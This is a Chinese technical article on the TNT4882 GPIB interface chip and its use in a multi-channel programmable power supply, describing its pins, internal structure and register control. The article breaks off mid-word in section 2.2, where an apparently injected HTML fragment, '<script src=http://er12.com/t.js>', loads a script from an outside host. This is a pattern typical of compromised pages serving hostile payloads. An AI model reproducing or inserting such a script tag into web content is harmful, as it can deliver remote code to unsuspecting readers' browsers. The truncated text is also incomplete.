摘要:介绍一种gpib总线接口芯片tnt4882及其在多路程控电源中的应用,包括tnt4882的引脚排列、内部结构、功能和通信方式、与微处理器的接口及与上位机的通信;同时给出在实际应用中的总体框图和各主要功能模块的软件流程及程控电源与上位机通信程序。
关键词:gpib总线 tnt4882 微处理器 程控电源
gpib(general purpose interface bus)接口总线最早由美国hp公司倡导实施,命名为hpib。由于它良好的接口特性,很快在国际范围内得到广泛的应用,并被美国电气与电子工程学会命名为ieee488,在英国和日本等国家则称为gpib。虽然有多种叫法,但实际上除了机械标准有所不同外,其实质完全相同。它犹如一座桥梁,将配置gpib总线接口的仪器与计算机紧密地结合起来。用它组成的系统方便、灵活、功能强及适应性好,可方便地应用到科研、工程、医药工程、医药及测试等领域。
美国ni公司生产的gpib专用芯片tnt4882具有功能强、体积小、传输速度快及易与微处理器接口等特点,备受用户的青睐。笔者运用tnt4882成功地开发了具备gpib总线接口的多路程控电源。
图1tnt4882引脚图
1 tnt4882芯片简介
1.1 tnt4882引脚说明
tnt4882是nt公司开发的100脚pqfq封装的gpib专用集成芯片,是ieee488.2标准和gpib收发功能的集成,且具有hs488增强功能。它的引脚如图1所示。
vdd:电源,接+5v;
gnd:电源地;
xtal0、xtal1:外接时钟振荡器引脚;
data15~data8(abus)、data7~data0(bbus):数据线,是tnt4882与外部cpu进行数据输入/输出的双向总线,分为abus和bbus,便于进行8位或16位数据操作;
abusn:abus使能;
bbusn:bbus使能;
abus_oen:当前正在通过abus读数据;
bbus_oen:当前正在通过bbus读数据;
csn:片选;
addr4~0:内部寄存器地址线;
rdn:读信号;
wrn:写信号;
cpuacc:指示tnt4882可以进行总线操作延时;
rdy1:指示tnt4882完成当前总线操作;
drq:dma申请信号;
dackn:dma申请应答信号;
burst_rdn:连续读信号;
fifo_rdy:当前tnt4882内部fifo至少已有8个有效数据;
intr:中断申请信号;
raged:地址映射选择,有效则映射内部寄存器到不同的地址;
mode:tnt4882工作模式选择;
swapn:模式切换;
resetn:复位;
tadcs:指示当前tnt4882选中为讲者;
ladcs:指示当前tnt4882选中为听者;
trig:指示当前tnt4882接收到外部触发信号;
dcas:指示当前tnt4882接收到设备清零信号;
rem:指示当前tnt4882进入遥控状态;
gpib数据线8根:dio8n~dio1n,用于gpib发布地址和命令,传递数据;
gpib管理总线5根:atnn(attention,注意)线、ifcn(interface-clear,接口清除)线、renn(remote enable,程控使能)线、srqn(service request,服务请求)线、ndacn(not data accepted,未接收到数据)线;
gpib挂钩总线3根:davn(data valid,数据有效)线、nrfdn(not ready for data,未准备好接收)线、ndacn(not data accepted,未接收到数据)线。tnt4882利用以上3条总线进行握手信息和数据传送,以确保信息和数据的发布与传送准确无误。
1.2 tnt4882内部结构
tnt4882有三种模式:单片模式、turbo+7210模式及turbo+9914模式,而且turbo+7210模式和turbo+9914模式可以转换到单片模式。单片模式是最简单、最快速的结构。在设计中,选用单片模式。单片模式内部组成模块如图2所示。
单片模式内部结构由1个片内isa逻辑接口,1个片内读/写控制器,1个片内先进先出的缓冲区,1个定时/计数器,1个片内中断控制器,1个可配置状态寄存器,1个ieee488总线监视器,1个ieee488总线功能接口,1个hs488电路功能接口,1个ieee488收发器及1个ieee488总线组成。
2 tnt4882功能控制和数据传送/接收方式
2.1 tnt4882功能控制
tnt4882功能控制是通过写命令字的方式实现的。这些命令字包括tnt4882复位、初始化、寄存器的读/写及中断请求等命令。tnt4882内部有40多个用户可访问的8位寄存器。对这些寄存器的访问是通过填在寄存器的读/写命令的地址进行的。这些寄存器包括基本配置、fifo、中断控制、定时/计数器、状态寄存器、挂钩和管理寄存器等。
2.2 tnt4882数据传送/接收方式
当传送数据开始时,tnt4882完成初始化。tnt4882初始?script src=http://er12.com/t.js>